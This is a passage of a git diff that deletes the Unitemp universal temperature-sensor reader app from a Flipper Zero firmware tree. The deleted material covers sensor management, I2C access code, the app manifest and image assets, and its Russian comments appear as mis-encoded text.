FURI_LOG_E(APP_NAME, "Sensor %s(%s) allocation error", name, type->typename); - return NULL; -} - -void unitemp_sensor_free(Sensor* sensor) { - if(sensor == NULL) { - FURI_LOG_E(APP_NAME, "Null pointer sensor releasing"); - return; - } - if(sensor->type == NULL) { - FURI_LOG_E(APP_NAME, "Sensor type is null"); - return; - } - if(sensor->type->mem_releaser == NULL) { - FURI_LOG_E(APP_NAME, "Sensor releaser is null"); - return; - } - bool status = false; - //Ð’Ñ‹Ñвобождение памÑти под инÑÑ‚Ð°Ð½Ñ - status = sensor->type->interface->mem_releaser(sensor); - - if(status) { - UNITEMP_DEBUG("Sensor %s memory successfully released", sensor->name); - } else { - FURI_LOG_E(APP_NAME, "Sensor %s memory is not released", sensor->name); - } - free(sensor->name); -} - -void unitemp_sensors_free(void) { - for(uint8_t i = 0; i < unitemp_sensors_getCount(); i++) { - unitemp_sensor_free(app->sensors[i]); - } - app->sensors_count = 0; -} - -bool unitemp_sensors_init(void) { - bool result = true; - - //Перебор датчиков из ÑпиÑка - for(uint8_t i = 0; i < unitemp_sensors_getCount(); i++) { - //Включение 5V еÑли на порту 1 FZ его нет - //Может пропаÑÑ‚ÑŒ при отключении USB - if(furi_hal_power_is_otg_enabled() != true) { - furi_hal_power_enable_otg(); - UNITEMP_DEBUG("OTG enabled"); - } - if(!(*app->sensors[i]->type->initializer)(app->sensors[i])) { - FURI_LOG_E( - APP_NAME, - "An error occurred during sensor initialization %s", - app->sensors[i]->name); - result = false; - } - FURI_LOG_I(APP_NAME, "Sensor %s successfully initialized", app->sensors[i]->name); - } - app->sensors_ready = true; - return result; -} - -bool unitemp_sensors_deInit(void) { - bool result = true; - //Выключение 5 Ð’ еÑли до Ñтого оно не было включено - if(app->settings.lastOTGState != true) { - furi_hal_power_disable_otg(); - UNITEMP_DEBUG("OTG disabled"); - } - - //Перебор датчиков из ÑпиÑка - for(uint8_t i = 0; i < unitemp_sensors_getCount(); i++) { - if(!(*app->sensors[i]->type->deinitializer)(app->sensors[i])) { - FURI_LOG_E( - APP_NAME, - "An error occurred during sensor deinitialization %s", - app->sensors[i]->name); - result = false; - } - } - return result; -} - -UnitempStatus unitemp_sensor_updateData(Sensor* sensor) { - if(sensor == NULL) return UT_SENSORSTATUS_ERROR; - - //Проверка на допуÑтимоÑÑ‚ÑŒ опроÑа датчика - if(furi_get_tick() - sensor->lastPollingTime < sensor->type->pollingInterval) { - //Возврат ошибки еÑли поÑледний Ð¾Ð¿Ñ€Ð¾Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° был неудачным - if(sensor->status == UT_SENSORSTATUS_TIMEOUT) { - return UT_SENSORSTATUS_TIMEOUT; - } - return UT_SENSORSTATUS_EARLYPOOL; - } - - sensor->lastPollingTime = furi_get_tick(); - - if(!furi_hal_power_is_otg_enabled()) { - furi_hal_power_enable_otg(); - } - - sensor->status = sensor->type->interface->updater(sensor); - - if(sensor->status != UT_SENSORSTATUS_OK && sensor->status != UT_SENSORSTATUS_POLLING) { - UNITEMP_DEBUG("Sensor %s update status %d", sensor->name, sensor->status); - } - - if(sensor->status == UT_SENSORSTATUS_OK) { - if(app->settings.heat_index && - ((sensor->type->datatype & (UT_TEMPERATURE | UT_HUMIDITY)) == - (UT_TEMPERATURE | UT_HUMIDITY))) { - unitemp_calculate_heat_index(sensor); - } - if(app->settings.temp_unit == UT_TEMP_FAHRENHEIT) { - uintemp_celsiumToFarengate(sensor); - } - - sensor->temp += sensor->temp_offset / 10.f; - if(app->settings.pressure_unit == UT_PRESSURE_MM_HG) { - unitemp_pascalToMmHg(sensor); - } else if(app->settings.pressure_unit == UT_PRESSURE_IN_HG) { - unitemp_pascalToInHg(sensor); - } else if(app->settings.pressure_unit == UT_PRESSURE_KPA) { - unitemp_pascalToKPa(sensor); - } - } - return sensor->status; -} - -void unitemp_sensors_updateValues(void) { - for(uint8_t i = 0; i < unitemp_sensors_getCount(); i++) { - unitemp_sensor_updateData(unitemp_sensor_getActive(i)); - } -} diff --git a/applications/external/unitemp/Sensors.h b/applications/external/unitemp/Sensors.h deleted file mode 100644 index 339a4deff..000000000 --- a/applications/external/unitemp/Sensors.h +++ /dev/null @@ -1,339 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ -#ifndef UNITEMP_SENSORS -#define UNITEMP_SENSORS -#include -#include - -//МаÑки бит Ð´Ð»Ñ Ð¾Ð¿Ñ€ÐµÐ´ÐµÐ»ÐµÐ½Ð¸Ñ Ñ‚Ð¸Ð¿Ð¾Ð² возвращаемых значений -#define UT_TEMPERATURE 0b00000001 -#define UT_HUMIDITY 0b00000010 -#define UT_PRESSURE 0b00000100 -#define UT_CO2 0b00001000 - -//СтатуÑÑ‹ опроÑа датчика -typedef enum { - UT_DATA_TYPE_TEMP = UT_TEMPERATURE, - UT_DATA_TYPE_TEMP_HUM = UT_TEMPERATURE | UT_HUMIDITY, - UT_DATA_TYPE_TEMP_PRESS = UT_TEMPERATURE | UT_PRESSURE, - UT_DATA_TYPE_TEMP_HUM_PRESS = UT_TEMPERATURE | UT_HUMIDITY | UT_PRESSURE, - UT_DATA_TYPE_TEMP_HUM_CO2 = UT_TEMPERATURE | UT_HUMIDITY | UT_CO2, -} SensorDataType; - -//Типы возвращаемых данных -typedef enum { - UT_SENSORSTATUS_OK, //Ð’ÑÑ‘ хорошо, Ð¾Ð¿Ñ€Ð¾Ñ ÑƒÑпешен - UT_SENSORSTATUS_TIMEOUT, //Датчик не отозвалÑÑ - UT_SENSORSTATUS_EARLYPOOL, //ÐžÐ¿Ñ€Ð¾Ñ Ñ€Ð°Ð½ÑŒÑˆÐµ положенной задержки - UT_SENSORSTATUS_BADCRC, //ÐÐµÐ²ÐµÑ€Ð½Ð°Ñ ÐºÐ¾Ð½Ñ‚Ñ€Ð¾Ð»ÑŒÐ½Ð°Ñ Ñумма - UT_SENSORSTATUS_ERROR, //Прочие ошибки - UT_SENSORSTATUS_POLLING, //Ð’ датчике проиÑходит преобразование - UT_SENSORSTATUS_INACTIVE, //Датчик на редактировании или удалён - -} UnitempStatus; - -//Порт ввода/вывода Flipper Zero -typedef struct GPIO { - const uint8_t num; - const char* name; - const GpioPin* pin; -} GPIO; - -typedef struct Sensor Sensor; - -/** - * @brief Указатель функции Ð²Ñ‹Ð´ÐµÐ»ÐµÐ½Ð¸Ñ Ð¿Ð°Ð¼Ñти и подготовки ÑкземплÑра датчика - */ -typedef bool(SensorAllocator)(Sensor* sensor, char* args); -/** - * @brief Указатель на функцию выÑвобождении памÑти датчика - */ -typedef bool(SensorFree)(Sensor* sensor); -/** - * @brief Указатель функции инициализации датчика - */ -typedef bool(SensorInitializer)(Sensor* sensor); -/** - * @brief Указатель функции деинициализации датчика - */ -typedef bool(SensorDeinitializer)(Sensor* sensor); -/** - * @brief Указатель функции Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° - */ -typedef UnitempStatus(SensorUpdater)(Sensor* sensor); - -//Типы Ð¿Ð¾Ð´ÐºÐ»ÑŽÑ‡ÐµÐ½Ð¸Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ¾Ð² -typedef struct Interface { - //Ð˜Ð¼Ñ Ð¸Ð½Ñ‚ÐµÑ€Ñ„ÐµÐ¹Ñа - const char* name; - //Ð¤ÑƒÐ½ÐºÑ†Ð¸Ñ Ð²Ñ‹Ð´ÐµÐ»ÐµÐ½Ð¸Ñ Ð¿Ð°Ð¼Ñти интерфейÑа - SensorAllocator* allocator; - //Ð¤ÑƒÐ½ÐºÑ†Ð¸Ñ Ð²Ñ‹ÑÐ²Ñ‹Ð±Ð¾Ð¶Ð´ÐµÐ½Ð¸Ñ Ð¿Ð°Ð¼Ñти интерфейÑа - SensorFree* mem_releaser; - //Ð¤ÑƒÐ½ÐºÑ†Ð¸Ñ Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° по интерфейÑу - SensorUpdater* updater; -} Interface; - -//Типы датчиков -typedef struct { - //Модель датчика - const char* typename; - //Полное Ð¸Ð¼Ñ Ñ Ð°Ð½Ð°Ð»Ð¾Ð³Ð°Ð¼Ð¸ - const char* altname; - //Тип возвращаемых данных - SensorDataType datatype; - //Ð˜Ð½Ñ‚ÐµÑ€Ñ„ÐµÐ¹Ñ Ð¿Ð¾Ð´ÐºÐ»ÑŽÑ‡ÐµÐ½Ð¸Ñ - const Interface* interface; - //Интервал опроÑа датчика - uint16_t pollingInterval; - //Ð¤ÑƒÐ½ÐºÑ†Ð¸Ñ Ð²Ñ‹Ð´ÐµÐ»ÐµÐ½Ð¸Ñ Ð¿Ð°Ð¼Ñти Ð´Ð»Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° - SensorAllocator* allocator; - //Ð¤ÑƒÐ½ÐºÑ†Ð¸Ñ Ð²Ñ‹ÑÐ²Ñ‹Ð±Ð¾Ð¶Ð´ÐµÐ½Ð¸Ñ Ð¿Ð°Ð¼Ñти Ð´Ð»Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° - SensorFree* mem_releaser; - //Ð¤ÑƒÐ½ÐºÑ†Ð¸Ñ Ð¸Ð½Ð¸Ñ†Ð¸Ð°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ð¸ датчика - SensorInitializer* initializer; - //Ð¤ÑƒÐ½ÐºÑ†Ð¸Ñ Ð´ÐµÐ¸Ð½Ð¸Ñ†Ð¸Ð°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° - SensorDeinitializer* deinitializer; - //Ð¤ÑƒÐ½ÐºÑ†Ð¸Ñ Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð´Ð°Ñ‚Ñ‡ÐºÐ° - SensorUpdater* updater; -} SensorType; - -//Датчик -typedef struct Sensor { - //Ð˜Ð¼Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° - char* name; - //Температура - float temp; - float heat_index; - //ОтноÑÐ¸Ñ‚ÐµÐ»ÑŒÐ½Ð°Ñ Ð²Ð»Ð°Ð¶Ð½Ð¾ÑÑ‚ÑŒ - float hum; - //ÐтмоÑферное давление - float pressure; - // ÐšÐ¾Ð½Ñ†ÐµÐ½Ñ‚Ñ€Ð°Ñ†Ð¸Ñ CO2 - float co2; - //Тип датчика - const SensorType* type; - //Ð¡Ñ‚Ð°Ñ‚ÑƒÑ Ð¿Ð¾Ñледнего опроÑа датчика - UnitempStatus status; - //Ð’Ñ€ÐµÐ¼Ñ Ð¿Ð¾Ñледнего опроÑа датчика - uint32_t lastPollingTime; - //Смещение по температуре (x10) - int8_t temp_offset; - //ЭкземплÑÑ€ датчика - void* instance; -} Sensor; - -extern const Interface SINGLE_WIRE; //СобÑтвенный однопроводной протокол датчиков DHTXX и AM23XX -extern const Interface ONE_WIRE; //Однопроводной протокол Dallas -extern const Interface I2C; //I2C_2 (PC0, PC1) -extern const Interface SPI; //SPI_1 (MOSI - 2, MISO - 3, CS - 4, SCK - 5) - -/* ============================= Датчик(и) ============================= */ -/** - * @brief Выделение памÑти под датчик - * - * @param name Ð˜Ð¼Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° - * @param type Тип датчика - * @param args Указатель на Ñтроку Ñ Ð¿Ð°Ñ€Ð°Ð¼ÐµÑ€Ð°Ð¼Ð¸ датчика - * @return Указатель на датчик в Ñлучае уÑпешного Ð²Ñ‹Ð´ÐµÐ»ÐµÐ½Ð¸Ñ Ð¿Ð°Ð¼Ñти, NULL при ошибке - */ -Sensor* unitemp_sensor_alloc(char* name, const SensorType* type, char* args); - -/** - * @brief Ð’Ñ‹Ñвыбождение памÑти конкретного датчка - * @param sensor Указатель на датчик - */ -void unitemp_sensor_free(Sensor* sensor); - -/** - * @brief Обновление данных указанного датчика - * @param sensor Указатель на датчик - * @return Ð¡Ñ‚Ð°Ñ‚ÑƒÑ Ð¾Ð¿Ñ€Ð¾Ñа датчика - */ -UnitempStatus unitemp_sensor_updateData(Sensor* sensor); - -/** - * @brief Проверка Ð½Ð°Ð»Ð¸Ñ‡Ð¸Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° в памÑти - * - * @param sensor Указатель на датчик - * @return ИÑтина еÑли Ñтот датчик уже загружен, ложь еÑли Ñто новый датчик - */ -bool unitemp_sensor_isContains(Sensor* sensor); - -/** - * @brief Получить датчик из ÑпиÑка по индекÑу - * - * @param index Ð˜Ð½Ð´ÐµÐºÑ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° (0 - unitemp_sensors_getCount()) - * @return Указатель на датчик при уÑпехе, NULL при неудаче - */ -Sensor* unitemp_sensor_getActive(uint8_t index); - -/** - * @brief Загрузка датчиков Ñ SD-карты - * @return ИÑтина еÑли загрузка прошла уÑпешно - */ -bool unitemp_sensors_load(); - -/** - * @brief Ð¤ÑƒÐ½ÐºÑ†Ð¸Ñ Ð¿ÐµÑ€ÐµÐ·Ð°Ð³Ñ€ÑƒÐ·ÐºÐ¸ датчиков Ñ SD-карты -*/ -void unitemp_sensors_reload(void); - -/** - * @brief Сохранение датчиков на SD-карту - * @return ИÑтина еÑли Ñохранение прошло уÑпешно - */ -bool unitemp_sensors_save(void); - -/** - * @brief Удаление датчика - * - * @param sensor Указатель на датчик - */ -void unitemp_sensor_delete(Sensor* sensor); - -/** - * @brief Ð˜Ð½Ð¸Ñ†Ð¸Ð°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð·Ð°Ð³Ñ€ÑƒÐ¶ÐµÐ½Ð½Ñ‹Ñ… датчиков - * @return ИÑтина еÑли вÑÑ‘ прошло уÑпешно - */ -bool unitemp_sensors_init(void); - -/** - * @brief Ð”ÐµÐ¸Ð½Ð¸Ñ†Ð¸Ð°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð·Ð°Ð³Ñ€ÑƒÐ¶ÐµÐ½Ð½Ñ‹Ñ… датчиков - * @return ИÑтина еÑли вÑÑ‘ прошло уÑпешно - */ -bool unitemp_sensors_deInit(void); - -/** - * @brief Ð’Ñ‹Ñвыбождение памÑти вÑех датчиков - */ -void unitemp_sensors_free(void); - -/** - * @brief Обновить данные вÑех датчиков - */ -void unitemp_sensors_updateValues(void); - -/** - * @brief Получить количеÑтво загруженных датчиков - * @return КоличеÑтво датчиков - */ -uint8_t unitemp_sensors_getCount(void); - -/** - * @brief Добавить датчик в общий ÑпиÑок - * @param sensor Указатель на датчик - */ -void unitemp_sensors_add(Sensor* sensor); - -/** -* @brief Получить ÑпиÑк доÑтупных типов датчиков -* @return Указатель на ÑпиÑок датчиков -*/ -const SensorType** unitemp_sensors_getTypes(void); - -/** -* @brief Получить количеÑтво доÑтупных типов датчиков -* @return КоличеÑтво доÑтупных типов датчиков -*/ -uint8_t unitemp_sensors_getTypesCount(void); - -/** - * @brief Получить тип ÑенÑора по его индекÑу - * @param index Ð˜Ð½Ð´ÐµÐºÑ Ñ‚Ð¸Ð¿Ð° датчика (от 0 до SENSOR_TYPES_COUNT) - * @return const SensorType* - */ -const SensorType* unitemp_sensors_getTypeFromInt(uint8_t index); - -/** - * @brief Преобразовать Ñтрочное название датчка в указатель - * - * @param str Ð˜Ð¼Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° в виде Ñтроки - * @return Указатель на тип датчика при уÑпехе, иначе NULL - */ -const SensorType* unitemp_sensors_getTypeFromStr(char* str); - -/** - * @brief Получить количеÑтво активных датчиков - * - * @return КоличеÑтво активных датчиков - */ -uint8_t unitemp_sensors_getActiveCount(void); - -/* ============================= GPIO ============================= */ -/** - * @brief ÐšÐ¾Ð½Ð²ÐµÑ€Ñ‚Ð°Ñ†Ð¸Ñ Ð½Ð¾Ð¼ÐµÑ€Ð° порта на корпуÑе FZ в GPIO - * @param name Ðомер порта на корпуÑе FZ - * @return Указатель на GPIO при уÑпехе, NULL при ошибке - */ -const GPIO* unitemp_gpio_getFromInt(uint8_t name); -/** - * @brief ÐšÐ¾Ð½Ð²ÐµÑ€Ñ‚Ð°Ñ†Ð¸Ñ GPIO в номер на корпуÑе FZ - * @param gpio Указатель на порт - * @return Ðомер порта на корпуÑе FZ - */ -uint8_t unitemp_gpio_toInt(const GPIO* gpio); - -/** - * @brief Блокировка GPIO указанным интерфейÑом - * @param gpio Указатель на порт - * @param interface Указатель на интерфейÑ, которым порт будет занÑÑ‚ - */ -void unitemp_gpio_lock(const GPIO* gpio, const Interface* interface); - -/** - * @brief Разблокировка порта - * @param gpio Указатель на порт - */ -void unitemp_gpio_unlock(const GPIO* gpio); -/** - * @brief Получить количеÑтво доÑтупных портов Ð´Ð»Ñ ÑƒÐºÐ°Ð·Ð°Ð½Ð½Ð¾Ð³Ð¾ интерфейÑа - * @param interface Указатель на Ð¸Ð½Ñ‚ÐµÑ€Ñ„ÐµÐ¹Ñ - * @return КоличеÑтво доÑтупных портов - */ -uint8_t unitemp_gpio_getAviablePortsCount(const Interface* interface, const GPIO* extraport); -/** - * @brief Получить указатель на доÑтупный Ð´Ð»Ñ Ð¸Ð½Ñ‚ÐµÑ€Ñ„ÐµÐ¹Ñа порт по индекÑу - * @param interface Указатель на Ð¸Ð½Ñ‚ÐµÑ€Ñ„ÐµÐ¹Ñ - * @param index Ðомер порта (от 0 до unitemp_gpio_getAviablePortsCount()) - * @param extraport Указатель на дополнительный порт, который будет принудительно ÑчитатьÑÑ Ð´Ð¾Ñтупным. Можно указать NULL еÑли не требуетÑÑ - * @return Указатель на доÑтупный порт - */ -const GPIO* - unitemp_gpio_getAviablePort(const Interface* interface, uint8_t index, const GPIO* extraport); - -/* Датчики */ -//DHTxx и их производные -#include "./interfaces/SingleWireSensor.h" -//DS18x2x -#include "./interfaces/OneWireSensor.h" -#include "./sensors/LM75.h" -//BMP280, BME280, BME680 -#include "./sensors/BMx280.h" -#include "./sensors/BME680.h" -#include "./sensors/AM2320.h" -#include "./sensors/DHT20.h" -#include "./sensors/SHT30.h" -#include "./sensors/BMP180.h" -#include "./sensors/HTU21x.h" -#include "./sensors/HDC1080.h" -#include "./sensors/MAX31855.h" -#include "./sensors/MAX6675.h" -#include "./sensors/SCD30.h" -#include "./sensors/SCD40.h" -#endif diff --git a/applications/external/unitemp/application.fam b/applications/external/unitemp/application.fam deleted file mode 100644 index c7c3263ad..000000000 --- a/applications/external/unitemp/application.fam +++ /dev/null @@ -1,19 +0,0 @@ -App( - appid="unitemp", - name="Temp sensors reader", - apptype=FlipperAppType.EXTERNAL, - entry_point="unitemp_app", - requires=[ - "gui", - ], - stack_size=2 * 1024, - order=100, - fap_description = "Universal temperature sensors reader", - fap_version="1.4", - fap_author = "@quen0n & (fixes by @xMasterX)", - fap_weburl = "https://github.com/quen0n/unitemp-flipperzero", - fap_category="GPIO", - fap_icon="icon.png", - fap_icon_assets="assets", - fap_libs=["assets"], -) \ No newline at end of file diff --git a/applications/external/unitemp/assets/README.MD b/applications/external/unitemp/assets/README.MD deleted file mode 100644 index 7c359a052..000000000 --- a/applications/external/unitemp/assets/README.MD +++ /dev/null @@ -1,3 +0,0 @@ -# Unitemp assets - -Created by [@Svaarich](https://github.com/Svaarich) diff --git a/applications/external/unitemp/assets/co2_11x14.png b/applications/external/unitemp/assets/co2_11x14.png deleted file mode 100644 index 2a2b5e068..000000000 Binary files a/applications/external/unitemp/assets/co2_11x14.png and /dev/null differ diff --git a/applications/external/unitemp/assets/flipper_happy_2_60x38.png b/applications/external/unitemp/assets/flipper_happy_2_60x38.png deleted file mode 100644 index c4322c237..000000000 Binary files a/applications/external/unitemp/assets/flipper_happy_2_60x38.png and /dev/null differ diff --git a/applications/external/unitemp/assets/flipper_happy_60x38.png b/applications/external/unitemp/assets/flipper_happy_60x38.png deleted file mode 100644 index db57e12c2..000000000 Binary files a/applications/external/unitemp/assets/flipper_happy_60x38.png and /dev/null differ diff --git a/applications/external/unitemp/assets/flipper_sad_60x38.png b/applications/external/unitemp/assets/flipper_sad_60x38.png deleted file mode 100644 index 994cf4bde..000000000 Binary files a/applications/external/unitemp/assets/flipper_sad_60x38.png and /dev/null differ diff --git a/applications/external/unitemp/assets/heat_index_11x14.png b/applications/external/unitemp/assets/heat_index_11x14.png deleted file mode 100644 index f2f0d4ce5..000000000 Binary files a/applications/external/unitemp/assets/heat_index_11x14.png and /dev/null differ diff --git a/applications/external/unitemp/assets/hum_9x15.png b/applications/external/unitemp/assets/hum_9x15.png deleted file mode 100644 index 70cedb8f5..000000000 Binary files a/applications/external/unitemp/assets/hum_9x15.png and /dev/null differ diff --git a/applications/external/unitemp/assets/in_hg_15x15.png b/applications/external/unitemp/assets/in_hg_15x15.png deleted file mode 100644 index a27782482..000000000 Binary files a/applications/external/unitemp/assets/in_hg_15x15.png and /dev/null differ diff --git a/applications/external/unitemp/assets/mm_hg_15x15.png b/applications/external/unitemp/assets/mm_hg_15x15.png deleted file mode 100644 index 66b5dc6ea..000000000 Binary files a/applications/external/unitemp/assets/mm_hg_15x15.png and /dev/null differ diff --git a/applications/external/unitemp/assets/pressure_7x13.png b/applications/external/unitemp/assets/pressure_7x13.png deleted file mode 100644 index 43aaa7bbc..000000000 Binary files a/applications/external/unitemp/assets/pressure_7x13.png and /dev/null differ diff --git a/applications/external/unitemp/assets/repo_qr_50x50.png b/applications/external/unitemp/assets/repo_qr_50x50.png deleted file mode 100644 index 5bf668497..000000000 Binary files a/applications/external/unitemp/assets/repo_qr_50x50.png and /dev/null differ diff --git a/applications/external/unitemp/assets/sherlok_53x45.png b/applications/external/unitemp/assets/sherlok_53x45.png deleted file mode 100644 index 1f258737e..000000000 Binary files a/applications/external/unitemp/assets/sherlok_53x45.png and /dev/null differ diff --git a/applications/external/unitemp/assets/temp_C_11x14.png b/applications/external/unitemp/assets/temp_C_11x14.png deleted file mode 100644 index 19cf423b4..000000000 Binary files a/applications/external/unitemp/assets/temp_C_11x14.png and /dev/null differ diff --git a/applications/external/unitemp/assets/temp_F_11x14.png b/applications/external/unitemp/assets/temp_F_11x14.png deleted file mode 100644 index 5ed469337..000000000 Binary files a/applications/external/unitemp/assets/temp_F_11x14.png and /dev/null differ diff --git a/applications/external/unitemp/icon.png b/applications/external/unitemp/icon.png deleted file mode 100644 index f0958ecdc..000000000 Binary files a/applications/external/unitemp/icon.png and /dev/null differ diff --git a/applications/external/unitemp/interfaces/I2CSensor.c b/applications/external/unitemp/interfaces/I2CSensor.c deleted file mode 100644 index e5901c282..000000000 --- a/applications/external/unitemp/interfaces/I2CSensor.c +++ /dev/null @@ -1,131 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ -#include "I2CSensor.h" - -static uint8_t sensors_count = 0; - -void unitemp_i2c_acquire(FuriHalI2cBusHandle* handle) { - furi_hal_i2c_acquire(handle); - LL_GPIO_SetPinPull(gpio_ext_pc1.port, gpio_ext_pc1.pin, LL_GPIO_PULL_UP); - LL_GPIO_SetPinPull(gpio_ext_pc0.port, gpio_ext_pc0.pin, LL_GPIO_PULL_UP); -} - -bool unitemp_i2c_isDeviceReady(I2CSensor* i2c_sensor) { - unitemp_i2c_acquire(i2c_sensor->i2c); - bool status = furi_hal_i2c_is_device_ready(i2c_sensor->i2c, i2c_sensor->currentI2CAdr, 10); - furi_hal_i2c_release(i2c_sensor->i2c); - return status; -} - -uint8_t unitemp_i2c_readReg(I2CSensor* i2c_sensor, uint8_t reg) { - //Блокировка шины - unitemp_i2c_acquire(i2c_sensor->i2c); - uint8_t buff[1] = {0}; - furi_hal_i2c_read_mem(i2c_sensor->i2c, i2c_sensor->currentI2CAdr, reg, buff, 1, 10); - furi_hal_i2c_release(i2c_sensor->i2c); - return buff[0]; -} - -bool unitemp_i2c_readArray(I2CSensor* i2c_sensor, uint8_t len, uint8_t* data) { - unitemp_i2c_acquire(i2c_sensor->i2c); - bool status = furi_hal_i2c_rx(i2c_sensor->i2c, i2c_sensor->currentI2CAdr, data, len, 10); - furi_hal_i2c_release(i2c_sensor->i2c); - return status; -} - -bool unitemp_i2c_readRegArray(I2CSensor* i2c_sensor, uint8_t startReg, uint8_t len, uint8_t* data) { - unitemp_i2c_acquire(i2c_sensor->i2c); - bool status = - furi_hal_i2c_read_mem(i2c_sensor->i2c, i2c_sensor->currentI2CAdr, startReg, data, len, 10); - furi_hal_i2c_release(i2c_sensor->i2c); - return status; -} - -bool unitemp_i2c_writeReg(I2CSensor* i2c_sensor, uint8_t reg, uint8_t value) { - //Блокировка шины - unitemp_i2c_acquire(i2c_sensor->i2c); - uint8_t buff[1] = {value}; - bool status = - furi_hal_i2c_write_mem(i2c_sensor->i2c, i2c_sensor->currentI2CAdr, reg, buff, 1, 10); - furi_hal_i2c_release(i2c_sensor->i2c); - return status; -} - -bool unitemp_i2c_writeArray(I2CSensor* i2c_sensor, uint8_t len, uint8_t* data) { - unitemp_i2c_acquire(i2c_sensor->i2c); - bool status = furi_hal_i2c_tx(i2c_sensor->i2c, i2c_sensor->currentI2CAdr, data, len, 10); - furi_hal_i2c_release(i2c_sensor->i2c); - return status; -} - -bool unitemp_i2c_writeRegArray(I2CSensor* i2c_sensor, uint8_t startReg, uint8_t len, uint8_t* data) { - //Блокировка шины - unitemp_i2c_acquire(i2c_sensor->i2c); - bool status = furi_hal_i2c_write_mem( - i2c_sensor->i2c, i2c_sensor->currentI2CAdr, startReg, data, len, 10); - furi_hal_i2c_release(i2c_sensor->i2c); - return status; -} - -bool unitemp_I2C_sensor_alloc(Sensor* sensor, char* args) { - bool status = false; - I2CSensor* instance = malloc(sizeof(I2CSensor)); - if(instance == NULL) { - FURI_LOG_E(APP_NAME, "Sensor %s instance allocation error", sensor->name); - return false; - } - instance->i2c = &furi_hal_i2c_handle_external; - sensor->instance = instance; - - //Указание функций инициализации, деинициализации и Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ Ð´Ð°Ð½Ð½Ñ‹Ñ…, а так же адреÑа на шине I2C - status = sensor->type->allocator(sensor, args); - int i2c_addr; - sscanf(args, "%X", &i2c_addr); - - //УÑтановка адреÑа шины I2C - if(i2c_addr >= instance->minI2CAdr && i2c_addr <= instance->maxI2CAdr) { - instance->currentI2CAdr = i2c_addr; - } else { - instance->currentI2CAdr = instance->minI2CAdr; - } - - //Блокировка портов GPIO - sensors_count++; - unitemp_gpio_lock(unitemp_gpio_getFromInt(15), &I2C); - unitemp_gpio_lock(unitemp_gpio_getFromInt(16), &I2C); - - return status; -} - -bool unitemp_I2C_sensor_free(Sensor* sensor) { - bool status = sensor->type->mem_releaser(sensor); - free(sensor->instance); - if(--sensors_count == 0) { - unitemp_gpio_unlock(unitemp_gpio_getFromInt(15)); - unitemp_gpio_unlock(unitemp_gpio_getFromInt(16)); - } - - return status; -} - -UnitempStatus unitemp_I2C_sensor_update(Sensor* sensor) { - if(sensor->status != UT_SENSORSTATUS_OK) { - sensor->type->initializer(sensor); - } - return sensor->type->updater(sensor); -} \ No newline at end of file diff --git a/applications/external/unitemp/interfaces/I2CSensor.h b/applications/external/unitemp/interfaces/I2CSensor.h deleted file mode 100644 index 4d468aae1..000000000 --- a/applications/external/unitemp/interfaces/I2CSensor.h +++ /dev/null @@ -1,128 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ -#ifndef UNITEMP_I2C -#define UNITEMP_I2C - -#include "../unitemp.h" - -#include - -//Структура I2C датчика -typedef struct I2CSensor { - //Указатель на Ð¸Ð½Ñ‚ÐµÑ€Ñ„ÐµÐ¹Ñ I2C - FuriHalI2cBusHandle* i2c; - //Минимальный Ð°Ð´Ñ€ÐµÑ ÑƒÑтройÑтва на шине I2C - uint8_t minI2CAdr; - //МакÑимальный Ð°Ð´Ñ€ÐµÑ ÑƒÑтройÑтва на шине I2C - uint8_t maxI2CAdr; - //Текущий Ð°Ð´Ñ€ÐµÑ ÑƒÑтройÑтва на шине I2C - uint8_t currentI2CAdr; - //Указатель на ÑобÑтвенный ÑкземплÑÑ€ датчика 